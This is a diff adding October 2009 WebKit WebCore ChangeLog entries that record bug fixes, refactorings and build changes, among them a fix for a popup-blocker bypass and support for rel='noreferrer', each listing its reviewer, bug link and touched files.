+2009-10-19  Jeremy Orlow  <jorlow@chromium.org>
+
+        Reviewed by Dmitri Titov.
+
+        Remove "source" from storage events
+        https://bugs.webkit.org/show_bug.cgi?id=30536
+
+        Remove "source" from storage events per
+        http://lists.whatwg.org/htdig.cgi/whatwg-whatwg.org/2009-October/023703.html
+
+        This was removed because it makes it introduces synchronous access that can
+        cross the event loop boundry (since a storage event can fire from one process
+        and be handled in another).
+
+        * inspector/InspectorDOMStorageResource.cpp:
+        (WebCore::InspectorDOMStorageResource::handleEvent):
+        * storage/StorageEvent.cpp:
+        (WebCore::StorageEvent::create):
+        (WebCore::StorageEvent::StorageEvent):
+        (WebCore::StorageEvent::initStorageEvent):
+        * storage/StorageEvent.h:
+        (WebCore::StorageEvent::uri):
+        * storage/StorageEvent.idl:
+        * storage/StorageEventDispatcher.cpp:
+        (WebCore::StorageEventDispatcher::dispatch):
+
+2009-10-19  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        Remove ResourceLoadNotifier::activeDocumentLoader
+        https://bugs.webkit.org/show_bug.cgi?id=30533
+
+        Removing this method from ResourceLoadNotifier better decouples the
+        notifier from FrameLoader.
+
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::continueLoadAfterWillSubmitForm):
+        (WebCore::FrameLoader::requestFromDelegate):
+        * loader/ResourceLoadNotifier.cpp:
+        (WebCore::ResourceLoadNotifier::didReceiveResponse):
+        * loader/ResourceLoadNotifier.h:
+        * loader/ResourceLoader.cpp:
+        (WebCore::ResourceLoader::willSendRequest):
+
+2009-10-19  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        Move sendRemainingDelegateMessages to ResourceLoadNotifier
+        https://bugs.webkit.org/show_bug.cgi?id=30531
+
+        This method is about notifying folks and doesn't interact with the rest
+        of FrameLoader.
+
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::willLoadMediaElementURL):
+        (WebCore::FrameLoader::commitProvisionalLoad):
+        (WebCore::FrameLoader::loadResourceSynchronously):
+        (WebCore::FrameLoader::loadedResourceFromMemoryCache):
+        * loader/FrameLoader.h:
+        * loader/ResourceLoadNotifier.cpp:
+        (WebCore::ResourceLoadNotifier::sendRemainingDelegateMessages):
+        * loader/ResourceLoadNotifier.h:
+
+2009-10-19  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        Bypass popup blocker using click event
+        https://bugs.webkit.org/show_bug.cgi?id=21501
+
+        Keep track of which events were generated by JavaScript and use that
+        inforation when figuring out if we're processing a user gesture.
+
+        Test: http/tests/security/popup-blocked-from-fake-event.html
+
+        * bindings/js/ScriptController.cpp:
+        (WebCore::ScriptController::processingUserGestureEvent):
+        * bindings/v8/ScriptController.cpp:
+        (WebCore::ScriptController::processingUserGesture):
+        * dom/Document.cpp:
+        (WebCore::Document::createEvent):
+        * dom/Event.cpp:
+        (WebCore::Event::Event):
+        * dom/Event.h:
+        (WebCore::Event::createdByDOM):
+        (WebCore::Event::setCreatedByDOM):
+
+2009-10-19  Dumitru Daniliuc  <dumi@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Fixing a typo.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30543
+
+        * platform/sql/SQLiteDatabase.h:
+
+2009-10-19  Dmitry Titov  <dimich@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Manual Test for crash caused by JS accessing DOMWindow which is disconnected from the Frame.
+        https://bugs.webkit.org/show_bug.cgi?id=30544
+
+        * manual-tests/crash-on-accessing-domwindow-without-frame.html: Added.
+
+2009-10-19  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Flash at end of opacity/transform transition sometimes
+        https://bugs.webkit.org/show_bug.cgi?id=30501
+        
+        When a transition finishes, there window of time between when the animation is
+        removed, and the final style set on the GraphicsLayer. This caused the layer to revert
+        to its old appearance for one or two frames. To avoid this, we set the final
+        transform or opacity at the start of the transition; we know that the animation
+        will override the final value for as long as its running.
+        
+        No test because this is a very transient effect that can't be captured
+        in a test.
+
+        * rendering/RenderLayerBacking.cpp:
+        (WebCore::RenderLayerBacking::createGraphicsLayer):
+        (WebCore::RenderLayerBacking::updateLayerOpacity):
+        (WebCore::RenderLayerBacking::updateLayerTransform):
+        (WebCore::RenderLayerBacking::updateGraphicsLayerGeometry):
+        (WebCore::RenderLayerBacking::startTransition):
+        * rendering/RenderLayerBacking.h:
+
+2009-10-19  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Add more stop characters into console completions.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30477
+
+        * inspector/front-end/ConsoleView.js:
+        (WebInspector.ConsoleView.prototype.completions):
+        (WebInspector.ConsoleView.prototype._reportCompletions):
+
+2009-10-19  Marshall Culpepper  <mculpepper@appcelerator.com>
+
+        Reviewed by Adam Roben.
+
+        implemented ClipboardWin::files()
+        https://bugs.webkit.org/show_bug.cgi?id=29666
+
+        * platform/win/ClipboardWin.cpp:
+        (WebCore::ClipboardWin::files):
+
+2009-10-19  Nate Chapin  <japhet@chromium.org>
+
+        Reviewed by Alexey Proskuryakov.
+
+        Add support for link relations in HTMLAnchorElement and implement rel="noreferrer".
+
+        https://bugs.webkit.org/show_bug.cgi?id=28986
+
+        Tests: http/tests/navigation/no-referrer-reset.html
+               http/tests/navigation/no-referrer-same-window.html
+               http/tests/navigation/no-referrer-subframe.html
+               http/tests/navigation/no-referrer-target-blank.html
+
+        * WebCore.base.exp: Update FrameLoader::loadFrameRequest export symbol
+        * html/HTMLAnchorElement.cpp: Add support for link relations and implement noreferrer
+        (WebCore::HTMLAnchorElement::HTMLAnchorElement):
+        (WebCore::HTMLAnchorElement::defaultEventHandler):
+        (WebCore::HTMLAnchorElement::parseMappedAttribute):
+        (WebCore::HTMLAnchorElement::hasRel):
+        (WebCore::HTMLAnchorElement::setRel):
+        * html/HTMLAnchorElement.h: Add support for link relations and implement noreferrer
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::FrameLoader):
+        (WebCore::FrameLoader::createWindow):
+        (WebCore::FrameLoader::changeLocation):
+        (WebCore::FrameLoader::urlSelected): Add parameter for referrer policy
+        (WebCore::FrameLoader::loadFrameRequest): Add parameter for referrer policy
+        (WebCore::FrameLoader::continueLoadAfterNewWindowPolicy): Suppress opener if requested by ReferrerPolicy
+        * loader/FrameLoader.h: Update urlSelected and loadFrameRequest prototypes
+        * loader/FrameLoaderTypes.h: Add enum for referrer policy
+        * loader/RedirectScheduler.cpp:
+        (WebCore::RedirectScheduler::timerFired):
+        * page/ContextMenuController.cpp:
+        (WebCore::ContextMenuController::contextMenuItemSelected): Update call to urlSelected()
+        * svg/SVGAElement.cpp:
+        (WebCore::SVGAElement::defaultEventHandler): Update call to urlSelected()
+
+
+2009-10-19  Alpha Lam  <hclam@chromium.org>
+
+        Reviewed by Dimitri Glazkov (dglazkov@chromium.org).
+
+        [v8] typeof(HTMLMediaElement) should return undefined if media
+        engine is not available
+        https://bugs.webkit.org/show_bug.cgi?id=30343
+
+        Check for availability of the media engine to disable
+        HTMLMediaElement, HTMLAudioElement, HTMLVideoElement, MediaError
+        in runtime.
+
+        Try runs and review in Chromium:
+        http://codereview.chromium.org/276011
+
+        Test: manual-tests/chromium/media-player-not-available.html
+
+        The above test can work work in Chromium. Testing procedures:
+        1. Remove all media support libraries in Chromium (e.g. ffmpeg libraries)
+        2. Open Chromium with above test page
+        3. Verify the test results according to the test page
+
+        * bindings/v8/custom/V8CustomBinding.h:
+        Declare enabler methods.
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        Report enabled only if media player is available.
+        * manual-tests/chromium/media-player-not-available.html: Added.
+        Manual test, following instruction in this test for procedures.
+        * page/DOMWindow.idl:
+        Mark HTMLMediaElement, HTMLAudioElement, HTMLVideElement, MediaError
+        as enabled at runtime.
+
+2009-10-19  Kenneth Rohde Christiansen  <kenneth@webkit.org>
+
+        Reviewed by David Hyatt.
+
+        Refactor out some of the code in paint() into paintPanScrollIcon()
+        and paintScrollbars() in preparation of some Qt API changes.
+
+        * platform/ScrollView.cpp:
+        (WebCore::ScrollView::paint):
+        * platform/ScrollView.h:
+
+2009-10-19  Kenneth Rohde Christiansen  <kenneth@webkit.org>
+
+        Reviewed by Adam Roben.
+
+        Make the local static panScrollIcon into a Image* instead
+        of a RefPtr<Image>.
+
+        * platform/ScrollView.cpp:
+        (WebCore::ScrollView::wheelEvent):
+
+2009-10-19  Andrew Scherkus  <scherkus@chromium.org>
+
+        Reviewed by David Levin.
+
+        Forcefully set antialiasing for Chromium media controls.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30521
+
+        Before it was nondeterministiacally being enabled based on the previous state of GraphicsContext.
+
+        Covered by existing layout tests.
+
+        * rendering/RenderMediaControlsChromium.cpp:
+        (WebCore::paintMediaSlider): Added setShouldAntialias(true).
+
+2009-10-19  Jens Alfke  <jens@mooseyard.com>
+
+        Reviewed by Darin Adler.
+
+        Optimize string upper/lowercasing
+        https://bugs.webkit.org/show_bug.cgi?id=30261
+        
+        - Added AtomicString::upper() and lower()
+        - Further optimized StringImpl::lower()
+        - Removed StringImpl::isLower()
+        - Added QualifiedName::localNameUpper(), which is cached, thereby saving
+          thousands of upper() calls and string allocations.
+ 
+         * dom/Element.cpp:
+         (WebCore::Element::setAttribute): Call AtomicString::lower()
+         * dom/QualifiedName.cpp:
+         (WebCore::QualifiedName::localNameUpper): New method
+         * dom/QualifiedName.h: Added localNameUpper() method
+         * dom/StyledElement.cpp:
+         (WebCore::StyledElement::parseMappedAttribute):  Call AtomicString::lower()
+         * html/HTMLDocument.cpp:
+         (WebCore::HTMLDocument::createElement): Call AtomicString::lower()
+         * html/HTMLElement.cpp:
+         (WebCore::HTMLElement::nodeName): Call localNameUpper()
+         * platform/text/AtomicString.cpp:
+         (WebCore::AtomicString::lower): New method
+         (WebCore::AtomicString::upper): New method
+         * platform/text/AtomicString.h: Added lower() and upper()
+         * platform/text/StringImpl.cpp: Removed isLower()
+         (WebCore::StringImpl::lower): Further optimization of initial loop
+         * platform/text/StringImpl.h: Removed isLower()
+ 
+2009-10-19  Nate Chapin  <japhet@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        If a call to a plugin's invokeMethod, invokeDefault or construct
+        returns false, throw an exception into JS.        
+
+        https://bugs.webkit.org/show_bug.cgi?id=30239
+
+        Test: plugins/netscape-invoke-failure.html
+
+        * bindings/v8/V8NPObject.cpp: Check return values of invokeMethod, invokeDefault and construct.
+        (npObjectInvokeImpl):
+        * bridge/c/c_instance.cpp:
+        (JSC::Bindings::CInstance::invokeMethod): Check return value
+        (JSC::Bindings::CInstance::invokeDefaultMethod): Check return value
+        (JSC::Bindings::CInstance::invokeConstruct): Check return value
+
+2009-10-16  Stephen White  <senorblanco@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        Fix for chromium/skia canvas arc start/end positions, when the arc is
+        >= 360 degrees.
+        https://bugs.webkit.org/show_bug.cgi?id=30449
+
+        Covered by new test:
+        LayoutTests/fast/canvas/arc360.html
+
+        * platform/graphics/skia/PathSkia.cpp:
+        (WebCore::Path::addArc):
+
+2009-10-19  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Alexey Proskuryakov.
+
+        Fix uninitialized variable reference in Element::removeAttribute().
+        https://bugs.webkit.org/show_bug.cgi?id=30502
+
+        * dom/Element.cpp:
+        (WebCore::Element::removeAttribute):
+
+2009-10-19  Eric Carlson  <eric.carlson@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30463
+        Remove HTML5 media element 'loadend' event
+
+        * dom/EventNames.h:
+        * html/HTMLMediaElement.cpp:
+        (WebCore::HTMLMediaElement::parseMappedAttribute): Remove 'loadend'.
+        (WebCore::HTMLMediaElement::loadInternal): Ditto.
+        (WebCore::HTMLMediaElement::noneSupported): Ditto.
+        (WebCore::HTMLMediaElement::mediaEngineError): Ditto.
+        (WebCore::HTMLMediaElement::setNetworkState): Ditto.
+        (WebCore::HTMLMediaElement::userCancelledLoad): Ditto.
+
+2009-10-19  Jocelyn Turcotte  <jocelyn.turcotte@nokia.com>
+
+        Reviewed by Adam Barth.
+
+        [Qt] Remove deletion of outgoing FormData object when reply is finished.
+        The buffers will be destroyed a bit later, when the QNetworkReply is deleted.
+        Bug: https://bugs.webkit.org/show_bug.cgi?id=29551
+
+        * platform/network/qt/QNetworkReplyHandler.cpp:
+        * platform/network/qt/QNetworkReplyHandler.h:
+
+2009-10-19  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Fix hard-to-reproduce crash in HTMLTokenizer by avoiding a rare
+        fastRealloc edge case.
+        https://bugs.webkit.org/show_bug.cgi?id=29313
+
+        No test, the crash shows up occasionally in crash dumps, we weren't able
+        to reproduce it locally.
+
+        * html/HTMLTokenizer.cpp:
+        (WebCore::HTMLTokenizer::enlargeScriptBuffer): Added an early exit to
+            avoid calling fastRealloc with the size of 0.
+
+2009-10-19  Andrew Scherkus  <scherkus@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Use fillRect() instead of drawRect() to fix Chromium media controls rendering.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30371
+
+        Chromium Mac layout tests will need to be rebaselined.  Existing layout tests for Linux/Win still pass.
+
+        * rendering/RenderMediaControlsChromium.cpp:
+        (WebCore::paintMediaSlider): Use fillRect() instead of drawRect().
+
+2009-10-19  Dmitry Titov  <dimich@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        Crash in DOMWindow::clearTimeout etc when DOMWindow is not connected to a frame.
+        https://bugs.webkit.org/show_bug.cgi?id=29832
+
+        Need to make sure the script caches are reset when frame gets disconnected from still-alive DOMWindow.
+        This will prevent JS from calling DOMWindow methods that can not be completed w/o the frame.
+
+        I am not sure it's possible to test this since the only file that repros the problem need ~10 seconds to cause crash.
+
+        * page/Frame.cpp:
+        (WebCore::Frame::~Frame): Right after frame disconnects from DOMWindow, clear WindowShell.
+
+2009-10-19  Csaba Osztrogonác  <ossy@webkit.org>
+
+        Unreviewed build warning fix.
+        [Qt] Apply changes to WebCore.pro introduced in r49778
+
+        * WebCore.pro: Removed svg/graphics/filters/SVGFEGaussianBlur.h from HEADERS
+
+2009-10-19  Dirk Schulze  <krit@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        Move feGaussianBlur from WebCore/svg to WebCore/platform
+        [https://bugs.webkit.org/show_bug.cgi?id=30495]
+
+        This patch moves SVGFRGaussianBlur from svg/graphics/filters
+        to platform/graphics/filters/FEGaussianBlur. This is needed
+        for shadow support on Qt and Cairo.
+        No change in functionality, therfore no new test case needed.
+
+        * GNUmakefile.am:
+        * WebCore.gypi:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * platform/graphics/filters/FEGaussianBlur.cpp: Added.
+        * platform/graphics/filters/FEGaussianBlur.h: Added.
+        * svg/SVGFEGaussianBlurElement.h:
+        * svg/graphics/filters/SVGFEGaussianBlur.cpp: Removed.
+        * svg/graphics/filters/SVGFEGaussianBlur.h: Removed.
+
+2009-10-19  Yael Aharon  <yael.aharon@nokia.com>
+
+        Unreviewed.
+
+        Added reviewer name to r49574.
+
+2009-10-19  Joanmarie Diggs  <joanmarie.diggs@gmail.com>
+
+        Reviewed by Xan Lopez.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30489
+        [Gtk] The document frame/html container claims to be parentless
+
+        Work around for the parentless claim made by the accessible associated
+        with the embedded WebView. When we identify this condition, get the
+        widget's parent, and then get the AtkObject from that. Admittedly an ugly
+        hack, but we'll need it for Yelp and other Gtk+/GNOME applications which
+        plan to switch over to WebKit.
+
+        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
+        (webkit_accessible_get_parent):
+
+2009-10-19  Benjamin Otte  <otte@gnome.org>
+
+        Reviewed by Jan Alonzo.
+
+        Handle duration queries properly
+        https://bugs.webkit.org/show_bug.cgi?id=29999
+
+        Previously duration queries failed to handle unknown duration
+        and didn't treat the returned duration as an unsigned.
+
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::MediaPlayerPrivate::duration):
+
+2009-10-19  Jocelyn Turcotte  <jocelyn.turcotte@nokia.com>
+
+        Reviewed by Tor Arne Vestbø.
+
+        [Qt] Fix build on Windows.
+
+        * plugins/win/PluginViewWin.cpp:
+        (windowHandleForPageClient):
+
+2009-10-19  Girish Ramakrishnan  <girish@forwardbias.in>
+
+        Reviewed by Holger Freyther.
+
+        [Qt] Windowed Plugins: Don't crash when client is 0.
+        
+        Client is 0 when we use QWebPage without a QWebView or QGraphicsWebView.
+        In addition, setFrameRect()/updatePluginWidget() is called even if the
+        plugin was not succesfully loaded. updatePluginWidget() updates the
+        window rect which is, in theory, useful to draw something that indicates
+        that we didn't load successfully.
+        
+        So, a status check is added to setNPWindowIfNeeded.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30380
+
+        * plugins/qt/PluginViewQt.cpp:
+        (WebCore::PluginView::setNPWindowIfNeeded):
+        (WebCore::PluginView::platformStart):
+
+2009-10-19  Girish Ramakrishnan  <girish@forwardbias.in>
+
+        Reviewed by Holger Freyther.
+
+        [Qt] Windowed Plugins: Fix crash when QWebPage is deleted after QWebView.
+        
+        Fixes various sources of crashes:
+        1. The PluginContainer is a child of QWebView. When the view gets deleted,
+        the PluginView is not notified about the deletion of PluginContainer.
+        2. QWebView destructor does not set client to 0.
+        3. Sometimes pending paint events are sent after the plugin has died, so add
+        a check in PluginView::setNPWindowIfNeeded.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30354
+
+        * plugins/qt/PluginContainerQt.cpp:
+        (PluginContainerQt::~PluginContainerQt):
+        * plugins/qt/PluginViewQt.cpp:
+        (WebCore::PluginView::setNPWindowIfNeeded):
+
+2009-10-19  Jakob Truelsen  <antialize@gmail.com>
+
+        Reviewed by Adam Barth.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29042
+        Allow one to customize the minimal and maximal shrink factors used when printing.
+
+        * page/PrintContext.cpp:
+        (WebCore::PrintContext::begin):
+        * page/Settings.cpp:
+        (WebCore::Settings::Settings):
+        (WebCore::Settings::setPrintingMinimumShrinkFactor):
+        (WebCore::Settings::setPrintingMaximumShrinkFactor):
+        * page/Settings.h:
+        (WebCore::Settings::printingMinimumShrinkFactor):
+        (WebCore::Settings::printingMaximumShrinkFactor):
+
+2009-10-18  Erik Arvidsson  <arv@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        Fixes issue where doubleclicking a word could select following adjacent newlines.
+        https://bugs.webkit.org/show_bug.cgi?id=30234
+
+        Tests: platform/mac/editing/selection/doubleclick-should-not-expand-across-lines.html
+               platform/mac/editing/selection/script-tests/TEMPLATE.html
+               platform/win/editing/selection/doubleclick-should-not-expand-across-lines.html
+               platform/win/editing/selection/script-tests/TEMPLATE.html
+
+        * editing/VisibleSelection.cpp:
+        (WebCore::VisibleSelection::appendTrailingWhitespace):
+
+2009-10-18  Kevin Ollivier  <kevino@theolliviers.com>
+
+        CURL build fix, use proper header name.
+
+        * platform/network/curl/ResourceHandleManager.h:
+
+2009-10-18  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Properties on Arrays and NodeLists are not logged correctly.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30485
+
+        * inspector/front-end/ConsoleView.js:
+        (WebInspector.ConsoleView.prototype._formatarray):
+        (WebInspector.ConsoleView.prototype._printArray):
+
+2009-10-18  Pavel Feldman  <pfeldman@chromium.org>
+
+        Not reviewed: touching WebCore so that it
+        initiated inspector frontend deployment on Windows.
+
+        Web Inspector: frontend files are not deployed in Windows
+        incremental build.
+
+        * inspector/InspectorDOMAgent.cpp:
+        (WebCore::InspectorDOMAgent::unbind):
+
+2009-10-18  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Title of dir(["test", "test2"]) should be Array
+
+        https://bugs.webkit.org/show_bug.cgi?id=30486
+
+        Test: inspector/console-tests.html
+
+        * inspector/front-end/InjectedScript.js:
+
+2009-10-18  Dirk Schulze  <krit@webkit.org>
+
+        Reviewed by Nikolas Zimmermann.
+
+        REGRESSION: SVG Mask doesn't work for maskContentUnits="objectBoundingBox"
+        [https://bugs.webkit.org/show_bug.cgi?id=30480]
+
+        Patch for SVGMaskElement landed in r49598 should correct the location of
+        the mask image graphics context. It only corrects the location for userSpaceOnUse
+        mode in maskContentUnits but breaks objectBoundingBoxMode.
+        The maskDestRect shouldn't be moved. It is not responsible for the correct context
+        postioin but for the correct position of the mask image.
+        This patch calculates the context postion independently from the maskDestRect.
+        It also uses lineareRGB color space for masking on CG now. This is the default
+        color space for masking operations.
+        We already have tests for both maskContentUnits modes.
+
+            *svg/W3C-SVG-1.1/masking-intro-01-f.svg
+            *svg/custom/mask-with-default-value.svg
+
+        Some tests needed new pixel tests because of the new color space.
+
+        * svg/SVGMaskElement.cpp:
+        (WebCore::SVGMaskElement::drawMaskerContent):
+
+2009-10-18  Anton Muhin  <antonm@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        Use v8::Integer::NewFromUnsigned when converting unsigneds into V8's numbers.
+        That is notably faster for small numbers (most common case).
+        https://bugs.webkit.org/show_bug.cgi?id=30493
+
+        * bindings/scripts/CodeGeneratorV8.pm:
+
+2009-10-18  Jan Michael Alonzo  <jmalonzo@webkit.org>
+
+        Reviewed by Holger Freyther.
+
+        [GTK] Add MathML to the build system
+        https://bugs.webkit.org/show_bug.cgi?id=30487
+
+        Add MathML sources if MathML support is enabled.
+
+        * GNUmakefile.am:
+
+2009-10-18  Kevin Ollivier  <kevino@theolliviers.com>
+
+        Non-PCH build fix. Added missing header.
+
+        * bridge/runtime_root.h:
+
+2009-10-18  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Compositing layers not correctly updated after partial layout
+        https://bugs.webkit.org/show_bug.cgi?id=30425
+        
+        When a partial layout happened, for example as the result of a postion-change-only
+        layout, then some compositing layer positions were not correctly updated. To fix
+        this, updateLayerPositions() now carries along a flag that is set at the rootmost
+        layer being updated, and used to determine when we hit the first compositing layer
+        in this update. RenderLayerBacking::updateAfterLayout() makes use of this information
+        to do a full geometry update on that layer, which is thus the rootmost compositing
+        layer that is being updated.
+
+        Test: compositing/geometry/partial-layout-update.html
+
+        * page/FrameView.cpp:
+        (WebCore::FrameView::layout):
+        * rendering/RenderLayer.cpp:
+        (WebCore::RenderLayer::updateLayerPositions):
+        (WebCore::RenderLayer::scrollToOffset):
+        * rendering/RenderLayer.h:
+        (WebCore::RenderLayer::):
+        * rendering/RenderLayerBacking.cpp:
+        (WebCore::RenderLayerBacking::updateAfterLayout):
+        * rendering/RenderLayerBacking.h:
+
+2009-09-13  Kevin Watters  <kevinwatters@gmail.com>
+
+        Reviewed by Kevin Ollivier.
+
+        Add support for proxies in CURL.
+ 
+        https://bugs.webkit.org/show_bug.cgi?id=30446
+
+        * platform/network/curl/ResourceHandleManager.cpp:
+        (WebCore::ResourceHandleManager::setProxyInfo):
+        (WebCore::ResourceHandleManager::initializeHandle):
+        * platform/network/curl/ResourceHandleManager.h:
+        (WebCore::ResourceHandleManager::):
+
+2009-10-18  Joanmarie Diggs  <joanmarie.diggs@gmail.com>
+
+        Reviewed by Xan Lopez
+
+        https://bugs.webkit.org/show_bug.cgi?id=25901
+        Use ATK_ROLE_SECTION for divTag and ATK_ROLE_LABEL for labelTag
+
+        Replaces the use of ATK_ROLE_PANEL with the expected accessible roles.
+
+        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
+        (webkit_accessible_get_role):
+
+2009-10-17  Nikolas Zimmermann  <nzimmermann@rim.com>
+
+        Reviewed by George Staikos.
+
+        Cleanup SVGElement code, preparing for animVal support
+        https://bugs.webkit.org/show_bug.cgi?id=30466
+
+        Add new SynchronizablePropertyController and move the code for SVG property <-> XML attribute synchronization
+        from SVGElement. This is a further preparation for animVal support, where SynchronizablePropertyController will
+        be used to control the start/end state of an animated property.
+
+        We're currently tracking animated properties that need synchronization, generalize this concept and use
+        it to track their creation (bound to certain SVG*Element classes) as well as a flag determing the need
+        of synchronization (no SVG DOM object wrappers, no synchronization needed).
+
+        No change in functionality, thus no tests.
+
+        * GNUmakefile.am: Add 'SynchronizablePropertyController.cpp/h' to build
+        * WebCore.gypi: Ditto.
+        * WebCore.pro: Ditto.
+        * WebCore.vcproj/WebCore.vcproj: Ditto.
+        * WebCore.xcodeproj/project.pbxproj: Ditto.
+        * svg/SVGAllInOne.cpp: Ditto.
+        * svg/SVGAnimatedProperty.h: Add registerProperty() function 
+        (WebCore::::SVGAnimatedProperty): Call registerProperty() function  
+        (WebCore::::registerProperty): Add new registerProperty() function, announcing new properties to SynchronizablePropertyController.
+        * svg/SVGAnimatedTemplate.h: Use propertyController() method, to access the new functions moved from SVGElement.
+        (WebCore::lookupOrCreateWrapper):
+        * svg/SVGElement.cpp: Adapt to code moving to SynchronizablePropertyController.
+        (WebCore::SVGElement::updateAnimatedSVGAttribute):
+        * svg/SVGElement.h: Move handling SVG property synchronization to SynchronizablePropertyController.
+        (WebCore::SVGElement::propertyController): Expose reference to SynchronizablePropertyController object.
+        * svg/SVGViewSpec.cpp: Reorder initialization order of contextElement, leading to possible crashes.
+        (WebCore::SVGViewSpec::SVGViewSpec):
+        (WebCore::SVGViewSpec::viewTarget):
+        * svg/SVGViewSpec.h: Ditto.
+        (WebCore::SVGViewSpec::contextElement):
+        * svg/SynchronizablePropertyController.cpp: Added.
+        (WebCore::SynchronizablePropertyController::SynchronizablePropertyController):
+        (WebCore::SynchronizablePropertyController::registerProperty):
+        (WebCore::SynchronizablePropertyController::setPropertyNeedsSynchronization):
+        (WebCore::SynchronizablePropertyController::synchronizeProperty):
+        (WebCore::SynchronizablePropertyController::synchronizeAllProperties):
+        (WebCore::SynchronizablePropertyController::startAnimation):
+        (WebCore::SynchronizablePropertyController::stopAnimation):
+        * svg/SynchronizablePropertyController.h: Added.
+        (WebCore::SynchronizableProperty::SynchronizableProperty):
+        (WebCore::SynchronizableProperty::isHashTableDeletedValue):
+        (WebCore::SynchronizableProperty::operator==):
+        (WebCore::SynchronizablePropertyHash::hash):
+        (WebCore::SynchronizablePropertyHash::equal):
+        (WebCore::SynchronizablePropertyHashTraits::constructDeletedValue):
+        (WebCore::SynchronizablePropertyHashTraits::isDeletedValue):
+
+2009-10-17  Joanmarie Diggs  <joanmarie.diggs@gmail.com>
+
+        Reviewed by Xan Lopez.
+
+        https://bugs.webkit.org/show_bug.cgi?id=25413
+        [GTK] Please expose the level of headings
+
+        Exposes the heading level as an attribute of the AtkObject.
+
+        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
+        (addAttributeToSet):
+        (webkit_accessible_get_attributes):
+        (webkit_accessible_class_init):
+
+2009-10-17  Kwang Yul Seo  <skyul@company100.net>
+
+        Reviewed by Eric Seidel.
+
+        EventHandler::eventLoopHandleMouseDragged needs ENABLE(DRAG_SUPPORT) guards
+        https://bugs.webkit.org/show_bug.cgi?id=30472
+
+        Put ENABLE(DRAG_SUPPORT) guards around EventHandler::eventLoopHandleMouseDragged
+        in EventHandler.cpp. MSVC fails to compile when DRAG_SUPPORT not enabled.
+
+        * page/EventHandler.cpp:
+
+2009-10-17  Alpha Lam  <hclam@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        [chromium] Video controls not zoomed / transformed correctly
+        https://bugs.webkit.org/show_bug.cgi?id=30461
+
+        Draw the images in the controls scaled.
+
+        No new tests. With this change Chromium will pass the following tests:
+        LayoutTests/media/video-controls-zoomed.html
+        LayoutTests/media/video-controls-transformed.html
+
+        * rendering/RenderMediaControlsChromium.cpp:
+        (WebCore::paintMediaButton):
+        Pass along the target rect directly.
+        (WebCore::RenderMediaControlsChromium::adjustMediaSliderThumbSize):
+        Adjust the thumb slide applied with the scale factor.
+
+2009-10-17  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Unreviewed.
+
+        [Gtk] Build fix for WebKitGtk after r49723.
+
+        Add bindings/js/JSExceptionBase.* to the build.
+
+        * GNUmakefile.am:
+
+2009-10-17  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Unreviewed.
+
+        [Qt] Build fix for QtWebKit after r49723.
+
+        Add bindings/js/JSExceptionBase.cpp to the build.
+
+        * WebCore.pro:
+
+2009-10-16  Steve Falkenburg  <sfalken@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30456
+        Fixes for new Debug_All Windows build configuration.
+
+        * platform/network/cf/ResourceRequestCFNet.cpp:
+        (WebCore::findCFNetworkModule): Ask for the correct library instead of guessing.
+        * platform/win/ScrollbarThemeSafari.cpp: Use new DEBUG_ALL preprocessor define for library naming.
+        * rendering/RenderMediaControls.cpp: Use new DEBUG_ALL preprocessor define for library naming.
+        * rendering/RenderThemeSafari.cpp: Use new DEBUG_ALL preprocessor define for library naming.
+
+2009-10-16  Jon Honeycutt  <jhoneycutt@apple.com>
+
+        Add SPI to determine whether a plug-in has ever been halted.
+
+        Part of <rdar://problem/7312158>.
+
+        Reviewed by Dan Bernstein.
+
+        * plugins/PluginView.cpp:
+        (WebCore::PluginView::PluginView):
+        Initialize m_hasBeenHalted.
+
+        * plugins/PluginView.h:
+        (WebCore::PluginView::hasBeenHalted):
+        Return m_hasBeenHalted.
+
+        * plugins/win/PluginViewWin.cpp:
+        (WebCore::PluginView::halt):
